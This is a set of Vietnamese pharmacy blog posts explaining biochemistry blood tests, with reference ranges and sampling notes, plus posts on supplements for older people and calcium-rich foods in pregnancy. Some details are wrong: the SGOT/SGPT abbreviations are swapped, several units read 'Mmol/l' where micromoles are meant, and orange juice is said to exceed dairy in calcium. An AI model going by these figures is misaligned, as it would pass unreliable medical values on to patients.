Ferritin giảm trong các trường hợp: Thiếu máu thiếu sắt, các bệnh mãn tính, viêm đa khớp, suy thận, các bệnh gây mất máu mãn tính (rong kinh, trĩ, viêm loét đường tiêu hoá, chảy máu dạ dày…), rối loạn hấp thu (do cắt dạ dày, viêm ruột non mãn tính)…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

22. Tên xét nghiệm: Transferin(Tf), độ bão hoà transferin (Transferin saturation- TfS), Transferin Receptor hoà tan(TfRS)

Ý nghĩa:
Transferin( Tf)
Sắt được vận chuyển trong huyết tương dưới dạng Fe+3 gắn với transferin và chuyển đến gắn vào các Receptor màng tế bào của các cơ quan đích (TfR), mỗi phân tử Tf có thể gắn tối đa 2 ion sắt. Tf được tổng hợp ở gan, sự tổng hợp được điều hoà bởi nhu cầu sắt của cơ thể
Nồng độ Tf tăng khi cơ thể có hiện tượng thiếu sắt (nồng độ Ferritin giảm với một sự tăng bù trừ của Tf và độ bão hoà Transferrin thấp), thiếu máu nhược sắc, thiếu oxy ở mô. Tf giảm khi cơ thể quá tải sắt, tan máu, những bệnh lý tạo hồng cầu kém, bệnh nhiễm sắc tố sắt, bệnh gan nặng giai đoạn cuối không tổng hợp được Tf…Có thể nói sự tăng hay giảm Tf xảy ra rất sớm, trước khi có biến động về nồng độ sắt và Ferritin trong huyết thanh. Trong điều kiện sinh lý, Transferin luôn có số lượng vượt quá khả năng gắn sắt bình thường, chỉ có khoảng 1/3 các vị trí của transferin bão hoà bởi sắt, sự bỏ trống của khoảng 2/3 các vị trí gắn của Transferrin được coi như khả năng gắn sắt tiềm tàng của cơ thể.
Trị số bình thường:
– Nồng độ Transferin : 200-360 mg/dl.
Độ bão hoà Transferin( Transferin Saturation= TfS):
Thông số này đánh giá tình trạng vận chuyển sắt của Transferin. Hằng số gắn của Fe+3 lên Transferin của các loài là khác nhau .Vì vậy khi cơ thể thừa Transferin thì không còn thấy Fe+3 ở trạng thái tự do.
TfS tăng: Quá tải sắt, tan máu,các bệnh tạo hồng cầu kém, bệnh nhiễm sắc tố sắt…
TfS giảm: thiếu sắt, rối loạn phân bố sắt, rối loạn sử dụng sắt…
Có thể nói rằng: khi thiếu sắt, độ bão hoà của Tf là chỉ số rất nhạy để đánh giá mức độ thiếu sắt trong cơ thể.
Trong trường hợp thiếu máu mà nguyên nhân do nhiễm sắc thể thì TfS có giá trị hơn Ferritin. Đặc biệt khi điều trị thiếu máu bằng Erythropietin ở những bệnh nhân suy thận, viêm thận mãn thì chỉ hiệu quả khi cung cấp đủ sắt và theo dõi điều trị dựa vào TfS.
Trị số bình thường:
– Tỷ lệ bão hoà Transferin (TfS): 16%- 45%
Transferin Receptor(TfR) v à transferin Receptor hoà tan(STfR):
Bình thường trên màng tế bào( chủ yếu của hệ tạo máu) có một số lượng bình thường các chất nhận Transferrin (TfR) ở trạng thái hoạt động, còn phần lớn ở trạng thái chưa hoạt động, chúng chỉ thực sự hoạt động khi bị một loại men proteinase cắt đi một đoạn protein, phần còn lại trên màng tế bào chính là TfR hoạt động, còn đoạn protein bị cắt ra giải phóng vào máu là STfR.
TfR hoà tan(STfR) chính là TfR hiện diện trong huyết tương, nồng độ của các TfR hoà tan tỉ lệ thuận với TfR trên màng tế bào. Việc lấy sắt của các tế bào được kiểm soát bởi các Receptor trên màng tế bào. Các mô và tế bào tự điều chỉnh sự hấp thu sắt của chúng bằng sự xuất hiện TfR trên màng tế bào ở trạng thái hoạt động. Nếu thiếu sắt tế bào tăng tổng hợp TfR và nó có thể làm tăng số chất nhận lên gấp 7 lần, ngược lại khi thừa sắt số lượng chất nhận trên màng tế bào giảm xuống đến mức cơ bản. Có khoảng 80-95% TfR có trên màng tế bào của cơ quan tạo máu. Như vậy TfR phản ánh rất trung thực nhu cầu sắt của tế bào tạo hồng cầu. Có thể nói khi thiếu sắt, TfR hoà tan tăng trước khi Hemoglobin giảm có ý nghĩa. Như vậy,TfR hoà tan có giá trị chẩn đoán sớm tình trạng thiếu máu thiếu sắt.Việc xác định nồng độ STfR ở người khoẻ mạnh là một chỉ dẫn tốt cho việc đánh giá hoạt động tạo máu .
Chỉ định: Tất cả các trường hợp thiếu máu thiếu sắt ( rong kinh, trĩ, giun móc, rối loạn hấp thu…).
TfS hoà tan tăng trong: Đa hồng cầu, thiếu máu tan máu, thalassemia, bệnh hồng cầu di truyền, thiếu máu hồng cầu hình liềm, thiếu máu hồng cầu to, MDS, thiếu B12, các trường hợp có thai thiếu sắt chức năng.
Khi điều trị bằng Erythropoietin có thể theo dõi và điều chỉnh thông qua nồng độ STfR. Trong quá trình điều trị mà TfS giảm là dấu hiệu của sự huy động sắt không đầy đủ và do đó có sự thiếu hụt sắt chức năng, khi đó đòi hỏi phải có sự thay thế sắt.
Trị số bình thường:
– TfR hoà tan :
Nam: 2,2-5,0 mg/l
Nữ: 1,9-4,4 mg/l
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 2ml máu không chống đông hoặc chống đông bằng lithiheparin.
Chỉ số sTfR= STfR/ Log Ferritin:
Ý nghĩa: chỉ số này cho phép đánh giá chính xác tình trạng sắt của cơ thể.
Ngược với ferritin, sTfR không bị ảnh hưởng bởi các phản ứng cấp, các rối loạn chức năng gan cấp hay khối u ác tính. Vì vậy dựa vào thông số: Ferritin và sTfR có thể phân biệt được thiếu máu thiếu sắt hay thiếu máu trong các bệnh mãn tính.
Khả năng gắn sắt toàn thể( Total Ion Binding Capacity = TIBC):
Ý nghĩa: TIBC cho biết khả năng lớn nhất mà sắt có thể gắn với protein huyết thanh.
Giá trị bình thường: 28 – 110 µmol/ l.
Protoporphyrin hồng cầu( ZPP):
Ý nghĩa: Trong một thiếu hụt sắt thực sự và những rối loạn sắt gây nên bởi khối u và nhiễm trùng, khả năng bị giảm của sắt trong tổng hợp hem dẫn đến sự bù trừ bằng cách tăng sự kết hợp của kẽm vào vòng protoporphyrin. Điều này có thể xác định được bằng cách định lượng Zn-protoporphyrin trong hồng cầu ( ZPP), và có thể sử dụng ZPP như một yếu tố thêm vào để chẩn đoán các rối loạn sử dụng sắt có nồng độ Ferritin bình thường hoặc tăng.
Giá trị bình thường: 19 -38µmol ZPP/ mol Hem.

23. Tên xét nghiệm: Amylase máu

Chỉ định: Các bệnh về tuỵ (viêm tuỵ, u tuỵ, K tuỵ…), viêm tuyến nước bọt, quai bị…
Trị số bình thường: ≤ 220U/l
Amylase tăng cao trong các trường hợp: Viêm tuỵ cấp, ung thư tuỵ, quai bị, viêm tuyến nước bọt, thủng dạ dày, tắc ruột cấp,…
Amylase giảm thường ít gặp: ung thư tuỵ, sỏi tuỵ
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

24. Tên xét nghiệm: CK (Creatin – Kinase)

Ý nghĩa và chỉ định:
– CK là men có nhiều trong cơ tim và cơ xương, nồng độ men này phản ánh tình trạng tổn thương cơ.
– Chỉ định trong các trường hợp nghi ngờ nhồi máu cơ tim, viêm cơ tim, bệnh lý về cơ (viêm cơ, loạn dưỡng cơ)…
Trị số bình thường: ≤ 200U/l
CK tăng cao trong các trường hợp: Nhồi máu cơ tim, viêm cơ tim, chấn thương cơ, viêm cơ, choáng, hoạt độ CK tăng gặp ở nhiều loại tổn thương cơ, bệnh loạn dưỡng cơ Duchene tiến triển và một số trạng thái (gắng sức sinh lý, sốt cao ác tính, thiếu oxy cơ, sau phẫu thuật, sau tiêm bắp một số thuốc kháng sinh, điều trị thuốc giảm đau, thuốc chống loạn nhịp…
CK giảm trong trường hợp: teo cơ
Mẫu máu:Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

25. Tên xét nghiệm: CK-MB ( Creatin Kinase –Mucle Brain)

Ý nghĩa và chỉ đinh: – CK-MB là một trong 3 isozym của CK, đó là: CK – MM (Creatin Kinase –Mucle Mucle: CK tuýp cơ), CK – MB (Creatin Kinase –Mucle Brain: CK tuýp tim) và CK – BM (Creatin Kinase – Brain Brain: CK tuýp não). Xét nghiệm này giúp đánh giá tình trạng tổn thương cơ, đặc biệt, có tính đặc hiệu cao hơn CK trong nhồi máu cơ tim.
– Chỉ định trong các trường hợp nghi ngờ nhồi máu cơ tim, tổn thương cơ…
Trị số bình thường: ≤ 24U/l
CKMB tăng trong các trường hợp: Nhồi máu cơ tim (Khi CK>200U/l và tỉ lệ CKMB/CK ≥6% : có giá trị chẩn đoán nhồi máu cơ tim), viêm cơ. CK – MB cũng tăng ở những trường hợp tổn thương cơ tim khác như chấn thương tim, phẫu thuật tim…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

26. Tên xét nghiệm: LDH (Lactatdehydrogenase)

Chỉ định: Các bệnh lý ác tính (ung thư máu, đa u tuỷ, ung thư dạ dày, ung thư gan, ung thư gan…), tan máu, nhồi máu cơ tim, viêm cơ…
Trị số bình thường: 230- 460 U/l
LDH tăng trong các trường hợp: các bệnh máu (leucemie, u lympho, tan máu…), ung thư gan, ung thư phổi, ung thư dạ dày… tổn thương cơ, hoại tử các mô …
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

27. Tên xét nghiệm: CRP – Hs (C – Reactine Protein – High Sensitivity)

– CRP được tổng hợp ở gan , được sản xuất nhanh và mạnh ở giai đoạn cấp tính để đối phó với một số tác động đến cơ thể. CRP nằm trong tuyến bảo vệ đầu tiên của cơ thể bởi nó có 2 vai trò: nhận dạng yếu tố tác động và hoạt hoá bổ thể làm tăng thực bào. Chính vì vậy CRP có ý nghĩa trong:
+ Chẩn đoán sớm một số bệnh đặc biệt là nhiễm vi khuẩn, các tổn thương tế bào cơ tim, tổn thương những vi mạch
+ Tiên lượng bệnh: Nồng độ CRP tỉ lệ thuận với mức độ tổn thương mô và tình trạng nhiễm trùng.
+ Đánh giá hiệu quả điều trị bệnh nhất là khi dùng kháng sinh, các thuốc chống viêm.
CRP tăng sớm trong máu 6-12 giờ sau khi khởi phát viêm, tăng rất cao khi viêm nhiễm nặng và giảm nhanh khi loại bỏ được tác nhân gây bệnh.
– Chỉ định trong các trường hợp viêm nhiễm cấp
Trị số bình thường: < 7 mg/l (< 0,7 mg/dl)
CRP tăng cao trong các trường hợp: nhiễm trùng, tổn thương mô, thấp khớp, viêm phổi, ung thư vú, SLE, sốt do thấp khớp, viêm đa khớp, sau phẫu thuật…
CRP tăng nhẹ trong các trường hợp: Strees, hôn mê, nhiễm virut…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

(Tham khảo – Kho tài liệu y dược)

Bài viết Ý nghĩa 25 chỉ số xét nghiệm sinh hoá – bài 2 đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Ý nghĩa 25 chỉ số xét nghiệm sinh hoá – bài 1

admin — Fri, 29 Jun 2018 02:37:45 +0000

1.Tên xét nghiệm: Ure máu

Chỉ định: Các bệnh lý về thận, kiểm tra chức năng thận trước phẫu thuật, can thiệp, kiểm tra sức khoẻ định kỳ…
Trị số bình thường: 2,5 – 7,5 mmol/l
Ure tăng cao trong các trường hợp: Suy thận, thiểu niệu, vô niệu, tắc nghẽn đường niệu, chế độ ăn nhiều protein…
Ure thấp trong các trường hợp: Suy gan làm giảm tổng hợp ure, chế độ ăn nghèo protein, truyền nhiều dich…
Cách lấy mẫu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin,

2. Tên xét nghiệm: Creatinin máu

Chỉ định: Các bệnh lý về thận, các bệnh lý ở cơ, kiểm tra trước phẫu thuật, can thiệp…Nhằm mục đích đánh giá chức năng thận, mức độ suy thận.
Trị số bình thường:
Nam: 62-120 Mmol/l
Nữ: 53-100 Mmol/l
Creatinin tăng cao trong các trường hợp: Suy thận cấp và mãn, bí tiểu tiện, bệnh to đầu ngón, tăng bạch cầu, cường giáp, Goutte…
Creatinin giảm gặp trong các trường hợp: có thai, dùng thuốc chống động kinh, bệnh teo cơ cấp và mãn tính…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

3. Tên xét nghiệm: Đường máu

Chỉ định: Nghi ngờ tiểu đường, kiểm tra trước phẫu thuật,can thiệp, đang điều trị cocticoid, đánh giá hiệu quả và điều chỉnh liều thuốc ở bệnh nhân đang điều trị tiểu đường, kiểm tra sức khoẻ định kỳ…
Trị số bình thường: 3,9- 6,4 mmol/l
Đường máu tăng cao gặp trong các trường hợp: Tiểu đường do tuỵ, cường giáp, cường tuyến yên, điều trị cocticoid, bệnh gan, giảm kali máu…
Đường máu giảm gặp trong các trường hợp: hạ đường huyết do chế độ ăn, do sử dụng thuốc hạ đường huyết quá liều, suy vỏ thượng thận, suy giáp, nhược năng tuyến yên, bệnh gan nặng, nghiện rượu, bệnh Addison…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.
Chú ý: Lấy máu lúc đói và chuyển máu xuống khoa xét nghiệm chậm nhất là 30 phút sau khi lấy máu.

4. Tên xét nghiệm: HbA1¬C

Ý nghĩa và chỉ định: Nồng độ HbA1 C phản ánh tình trạng đường máu trong khoảng 2-3 tháng trước khi lấy máu xét nghiệm (xét nghiệm định lượng Glucose máu chỉ nói lên được hàm lượng đường tại thời điểm lấy máu làm xét nghiệm). Vì vậy HbA1C được coi là thông số có giá trị để chẩn đoán và theo dõi điều trị tiểu đường.
Chỉ định: Nghi ngờ tiểu đường, những trường hợp cần kiểm soát đường máu, nhất là những bệnh nhân tiểu đường khó kiểm soát.
Trị số bình thường: 4-6%
HbA1¬C tăng trong các trường hợp: bệnh tiểu đường, bệnh tiểu đường khó kiểm soát,.
HbA1¬C tăng giả tạo trong các trường hợp: ure máu cao, thalassemia.
HbA1¬C giảm giả tạo trong các trường hợp: Thiếu máu, huyết tán, mất máu
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 1ml máu tĩnh mạch chống đông EDTA
Tên xét nghiệm: Acid Uric máu
Chỉ định: Nghi ngờ bệnh Goutte, bệnh thận, bệnh khớp, theo dõi hiệu qủa điều trị bệnh Goutte…
Trị số bình thường:
Nam: 180-420 Mmol/l
Nữ: 150-360 Mmol/l
Acid uric tăng cao trong nhiều trường hợp: thường gặp nhất là trong bệnh Goutte, leucemie, đa hồng cầu, suy thận, ung thư, tăng bạch cầu đơn nhân, nhiễm trùng nặng, bệnh vẩy nến…
Acid uric giảm gặp trong các trường hợp: có thai, bệnh wilsson, hội chứng Fanconi…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

5. Tên xét nghiệm: SGOT(ALAT)

Ý nghĩa: SGOT là men xúc tác phản ứng trao đổi nhóm amin. GOT không những ở bào tương (khoảng 30%) mà nó còn có mặt ở ty thể của tế bào (khoảng 70%). Nồng độ men SGOT phản ánh tình trạng tổn thương tế bào gan, cơ tim.
Chỉ định: Viêm gan, nhồi máu cơ tim, viêm cơ, tai biến mạch máu não…
Trị số bình thường ≤40 U/l
SGOT tăng cao trong các trường hợp: Viêm gan cấp do virus hoặc do thuốc, tan máu, viêm gan do rượu, nhồi máu cơ tim, viêm cơ…
Lưu ý trong các trường hợp tế bào hồng cầu bị vỡ thì SGOT tăng rất cao
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

6. Tên xét nghiệm: SGPT(ASAT)

Ý nghĩa: SGPT là men chỉ có trong bào tương của tế bào gan. Nồng độ SGPT phản ánh tình trạng tổn thương tế bào gan do viêm.
Chỉ định: Viêm gan (cấp, mãn), nhũn não…
Trị số bình thường ≤40 U/l
SGPT tăng cao gặp trong các trường hợp viêm gan, nhũn não.
Nếu SGPT>>>SGOT: Chứng tỏ có tổn thương nông, cấp tính trên diện rộng của tế bào gan
Nếu SGOT>>>SGPT chứng tỏ tổn thương sâu đến lớp dưới tế bào (ty thể)
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

7. Tên xét nghiệm: GGT (Gama Glutamyl Transferase)

Chỉ định: Các bệnh lý gan mật.
Trị số bình thường:
Nam ≤ 45 U/l
Nữ ≤30 U/l
GGT tăng cao trong các trường hợp: Nghiện rượu, viêm gan do rượu, ung thư lan toả, xơ gan, tắc mật…
GGT tăng nhẹ trong các trường hợp: Viêm tuỵ, béo phì, do dùng thuốc…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 2ml máu không chống đông hoặc chống đông bằng lithiheparin.

8. Tên xét nghiệm: ALP ( phosphatase kiềm)

Chỉ định: Bệnh xương, bệnh gan mật.
Trị số bình thường: 90-280 U/l
ALP tăng rất cao trong các trường hợp: Tắc mật, ung thư gan lan toả.
ALP cũng tăng trong các trường hợp: Viêm xương, bệnh Paget (viêm xương biến dạng), ung thư xương tạo cốt bào, nhuyễn xương, còi xương. Vàng da tắc mật, viêm gan thứ phát( sau tăng bạch cầu đơn nhân nhiễm khuẩn, bệnh Hodgkin, dùng thuốc tiểu đường, thuốc điều trị huyết áp…)
ALP giảm trong các trường hợp: Thiếu máu ác tính, suy cận giáp, thiếu vitaminC, dùng thuốc giảm mỡ máu…
Mẫu máu: 2ml máu không chống đông hoặc chống đông bằng lithiheparin
Tên xét nghiệm: Bilirubin máu
Chỉ đinh: Các trường hợp vàng da do bệnh gan mật, tuỵ, tan máu…
Trị số bình thường: Bilirubun toàn phần ≤17,0 Mmol/l
Bilirubin trực tiếp ≤4,3 Mmol/l
Bilirubin gián tiếp ≤12,7 Mmol/l
Bilirubun toàn phần tăng cao trong các trường hợp: Vàng da do nguyên nhân trước gan (tan máu), trong gan (viêm gan), sau gan (sỏi ống mật chủ, u đầu tuỵ…)
Bilirubin trực tiếp tăng trong các trường hợp: Tắc mật, viêm gan cấp, ung thư đầu tuỵ…
Bilirubin gián tiếp tăng trong: Thalassemia, tan máu, vàng da sinh lý ở trẻ sơ sinh …
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

9. Tên xét nghiệm: Protein toàn phần

Chỉ định: Đa u tuỷ xương, bệnh gan (xơ gan, viêm gan…), bệnh thận (hội chứng thận hư nhiễm mỡ, viêm cầu thận…), suy kiệt, kiểm tra sức khoẻ định kỳ…
Trị số bình thường: 65-82g/l
Protein tăng trong các bệnh lý: Đa u tuỷ (Kahler), bệnhWaldenstrom, thiểu năng vỏ thượng thận …Ngoài ra có thể gặp protein máu tăng trong các trường hợp cô đặc máu: sốt kéo dài, ỉa chảy nặng, nôn nhiều…
Protein giảm trong các trường hợp: thận hư nhiễm mỡ, xơ gan, ưu năng giáp nhiễm độc, suy dinh dưỡng… ngoài ra, có thể gặp giảm protein máu do pha loãng máu (nhiễm độc nước, truyền dịch quá nhiều…)
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

10. Tên xét nghiệm: Albumin máu

Chỉ định: Đa u tuỷ xương, bệnh gan (xơ gan, viêm gan…), bệnh thận (hội chứng thận hư nhiễm mỡ, viêm cầu thận…), suy kiệt…
Trị số bình thường: 35-55 g/l
Albumin tăng thường ít gặp: Shock, mất nước…
Albumin giảm thường gặp trong các trường hợp: Xơ gan, suy dinh dưỡng, hội chứng thận hư, viêm cầu thận, đa u tuỷ ( Kahler), Waldenstrom…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

11. Tên xét nghiệm: Chỉ số A/G

Chỉ định: Đa u tuỷ, xơ gan, viêm thận cấp, thận hư nhiễm mỡ…
Trị số bình thường: 1,2 – 2,2
A/G < 1 do tăng globulin, do giảm Albumin hoặc phối hợp cả 2:
– Giảm albumin: do thiếu dinh dưỡng, ung thư, lao, suy gan…
– Tăng globulin: Đa u tuỷ xương, Bệnh collagen, nhiễm khuẩn…
– Đồng thời giảm albumin và tăng globulin: Xơ gan, viêm thận cấp, thận hư nhiễm mỡ, đau tuỷ xương…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

12. Tên xét nghiệm: Định lượng B2M (B2 Microglobulin)

Ý nghĩa: B 2 M do các tế bào lympho, tương bào sản sinh và có trên bề mặt các tế bào này. Định lượng B2M góp phần phân loại, tiên lượng, theo dõi hiệu quả điều trị bệnh đa u tuỷ xương, u lympho.
Chỉ định: bệnh đa u tuỷ xương, u lympho
Trị số bình thường: 0,8 -2,2 mg/l
B2M tăng trong các trường hợp nhiễm trùng mãn tính, suy giảm chức năng thận, các bệnh ác tính. Đặc biệt, B2M tăng cao ở bệnh nhân đa u tuỷ xương, u lympho.
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

13. Tên xét nghiệm: Cholesterol toàn phần

Chỉ định: Rối loạn mỡ máu, vữa xơ động mạch, tăng huyết áp, hội chứng thận hư, kiểm tra sức khoẻ định kỳ cho những người trên 40 tuổi, những người béo phì…
Trị số bình thường: 3,9-5,2 mmol/l
Cholesterol tăng trong các trường hợp: rối loạn lipid máu nguyên phát hoặc thứ phát, vữa xơ động mạch, hội chứng thận hư, vàng da tắc mật ngoài gan, bệnh vảy nến…
Cholesterol giảm trong các trường hợp: hấp thu kém, suy kiệt, ung thư, biếng ăn …
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

15. Tên xét nghiệm: Triglycerid

Chỉ định: Rối loạn mỡ máu, vữa xơ động mạch, tăng huyết áp, hội chứng thận hư, u vàng, viêm tuỵ, kiểm tra sức khoẻ định kỳ cho những người trên 40 tuổi, những người béo phì…
Trị số bình thường: 0,5- 2,29 mmol/l
Triglycerid tăng trong các trường hợp: Vữa xơ động mạch, rối loạn lipid máu, hội chứng thận hư, bệnh béo phì, đái tháo đường…
Triglycerid giảm trong các trường hợp: xơ gan, hội chứng kém hấp thu, suy kiệt, cường tuyến giáp…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

(Tham khảo – Kho tài liệu y dược)

Bài viết Ý nghĩa 25 chỉ số xét nghiệm sinh hoá – bài 1 đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Những loại thuốc bổ tăng cường sức khỏe cho người cao tuổi

admin — Fri, 23 Mar 2018 04:18:15 +0000

Theo chuyên gia sức khỏe đời sống Đặng Nam Anh thì thuốc bổ nếu biết sử dụng đúng cách sẽ rất tốt cho cơ thể người già.

Nên uống thuốc bổ đa sinh tố

Đây là một loại thuốc bổ rất có lợi cho sức khỏe của người người già. Tuy nhiên thuốc có thể có các phản ứng phụ do thừa một vài sinh tố nào đó vì vậy nếu sử dụng thuốc trong thời gian dài thì cần tham khảo ý kiến của các bác sĩ. Chẳng hạn thừa sinh tố E dễ suy giảm việc hấp thụ sinh tố A hoặc K; thừa sinh tố D gây tăng canxi trong máu, khiến các mô mềm bị canxi hóa, xương nhanh bị hóa sụn và suy thận, thừa sinh tố A gây các cảm giác nhức đầu, tăng các áp lực cho não, viêm da.

Uống thuốc bổ xương khớp

Tuổi cao thường gắn với loãng xương, do đó xương rất dễ bị tổn thương. Người cao tuổi chỉ cần ngã cũng rất dễ gãy xương. Thuốc bổ xương khớp có thành phần chính là canxi và sinh tố D giúp các cơ xương trở nên chắc khỏe hơn. Tuy nhiên, nếu sử dụng quá liều sẽ tăng lượng canxi trong máu, mô mềm bị vôi hóa, xương hóa sụn, suy thận.

Uống thuốc bổ 3B

Thành phần của thuốc này tổng hợp từ 123-250 mg sinh tố B1, 125-250 mg sinh tố B6 và 1000 mg sinh tố B12. Thuốc bổ 3B thường được sử dụng để phòng các bệnh về đau nhức thần kinh, cơ bắp. Ngoài ra thuốc bổ này còn dùng để phòng ngừa bệnh thấp khớp và suy dinh dưỡng ở người cao tuổi. Hiểu được cơ thể mình đang thừa và thiếu gì thì hãy bổ sung kịp thời các chất bổ và vitamin nhé!

Các loại thuốc bổ chống oxy hóa

Các bệnh do oxy hóa gây nên như tim mạch, cao huyết áp, rối loạn thị giác, nhiễm trùng. Thuốc bổ chống oxy hóa giúp tăng tuổi thọ các tế bào, đề phòng bệnh tật người cao tuổi.

Thành phần chính Beta caroten có tác dụng tăng trưởng đổi mới tế bào, tăng sức đề kháng của cơ thể. Ngoài ra còn bảo vệ tế bào niêm mạc chống lão hóa, ngăn ngừa ung thư và một số bệnh nguy hiểm khác. Seleium, chất xúc tác, hoạt hóa sinh tố E, ngăn cản sản sinh các gốc tự do thứ cấp.Sinh tố E khá cần thiết cho cơ thể, ngăn ngừa các căn bệnh mạn tính như tim mạch, thoái hóa thần kinh, ung thư.Tuy nhiên, nếu người cao tuổi dùng liều cao sẽ khiến cạn kiệt sinh tố A, hoặc khó khăn cho việc hấp thu sinh tố D.

Lưu ý: Mỗi loại thuốc bổ có thể đem lại những lợi ích khác nhau tùy vào cơ địa của mỗi người, vì vậy trước khi có ý định sử dụng một loại thuốc bổ thì mùa gió heo may khuyên các bạn nên tìm hiểu kỹ thành phần, công dụng, tác dụng phụ của từng loại thuốc và nếu cần thì hãy tham khảo của bác sĩ chuyên môn.

Nguồn theo Y tế Việt Nam

Bài viết Những loại thuốc bổ tăng cường sức khỏe cho người cao tuổi đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Nhóm thực phẩm giàu canxi tốt cho sức khỏe mẹ bầu

admin — Fri, 23 Mar 2018 04:07:54 +0000

Canxi có nhiều trong thực phẩm như: sữa chua, hải sản, trái cây…Theo các giảng viên Cao đẳng Y Dược đây là những loại thực phẩm tự nhiên giúp bổ sung đầy đủ lượng canxi cần thiết cho thai nhi phát triển khỏe mạnh mà lại vô cùng có lợi cho sức khỏe của mẹ.

Bà bầu nên bổ sung bao nhiêu Canxi trong khi mang thai?

Theo tiêu chuẩn USRDA của Mỹ thì đối với phụ nữ trên 24 tuổi đang mang thai và cho con bú nên bổ sung 1.000 miligram(mg) canxi mỗi ngày, nên ăn và uống ít nhất bốn phần của các sản phẩm sữa và thực phẩm giàu canxi thường xuyên để đảm bảo rằng mẹ bầu đang nhận được 1.000 mg canxi trong chế độ ăn uống hàng ngày của bạn.

Điều Dưỡng Viên tốt nghiệp Văn bằng 2 Cao đẳng Điều Dưỡng cho biết, các sản phẩm chứa nhiều canxi nhất đều được chiết xuất từ sữa như sữa, pho mát, sữa chua, súp kem, và bánh pudding. Theo nghiên cứu thì canxi cũng được tìm thấy trong các loại thực phẩm như rau xanh (bông cải xanh, rau bina và rau xanh), hải sản, đậu khô và đậu. Việc bổ sung Vitamin D sẽ giúp cơ thể tăng lượng Canxi, cơ thể cũng có thể hấp thu được thông qua việc tiếp xúc với ánh nắng mặt trời, có trong trứng, cá…

Thức ăn chứa nhiều canxi cho bà bầu

Có rất nhiều thực phẩm rất giàu canxi mẹ bầu không thể bỏ qua. Hãy cùng chuyên mục sức khỏe đời sống tìm hiểu ngay sau đây:

Tôm đồng hay tôm nước ngọt: Tôm là một trong những loại thực phẩm rất giàu canxi, trong mỗi 100g tôm đồng có tới 1.120mg canxi, trong mỗi 100g tôm nõn có 882mg canxi. Đây được xem là một trong những loại thực phẩm dồi dào canxi mà mẹ bầu không nên bỏ qua.

Cua biển: Theo các nhà khoa học, phụ nữ mang thai ăn cua biển hàng tuần có thể cung cấp dưỡng chất tốt nhất cho cả mẹ và bé. Bởi cua biển rất giàu canxi, magie và omega 3,… những chất đóng vai trò quan trọng trong quá trình bảo vệ hệ tim mạch cho bà bầu luôn khỏe mạnh.

Hải sản: Nhìn chung các loài sò, hến, hàu…đều là nguồn cung cấp dồi dào các chất sắt, selen, kali và can xi cho cơ thể, thế nhưng con hàu được cho là giàu chất tăng cường canxi nhất. Tuy nhiên, mẹ bầu nên lưu ý không ăn thường xuyên và chỉ nên ăn hai lần một tuần nếu có thể và ăn mỗi lần ước lượng khoảng 5 con.

Cải chip: Cải chíp rất giàu các thành phần giúp bổ sung canxi, ngoài ra cải chíp còn cung cấp thêm vitamin C, A, folic axit, chất sắt, beta carotin, và kali cho cơ thể.

Sữa chua: Sữa chua chứa nhiều canxi và protein hơn sữa thường, canxi trong sữa chua sẽ giúp mẹ và em bé có hệ xương, răng chắc khỏe về sau. Sữa chua còn cung cấp nhiều vi khuẩn lên men có lợi cho hệ tiêu hóa và hệ miễn dịch.

Tuy nhiên, theo khuyến cáo mẹ bầu không nên ăn sữa chua lúc đói vì một số axit có trong sữa chua sẽ khiến dạ dày bị mệt.

Chuối: Chuối giúp tăng cường sự tập trung và độ nhạy bén của đầu óc làm giảm căng thẳng cho mẹ bầu. Ngoài ra, chuối còn cung cấp kali, chất điện phân giúp ngăn ngừa sự thoái hóa của xương và tăng lượng canxi của cơ thể lên mức hợp lý.

Cam: Nước cam cũng chứa nhiều canxi và vitamin hơn cả các sản phẩm từ sữa. Kết quả nghiên cứu của các nhà khoa học cho thấy bà bầu thường xuyên uống nước cam và nước bưởi có thể giúp ngăn ngừa loãng xương và các chứng bệnh khác.

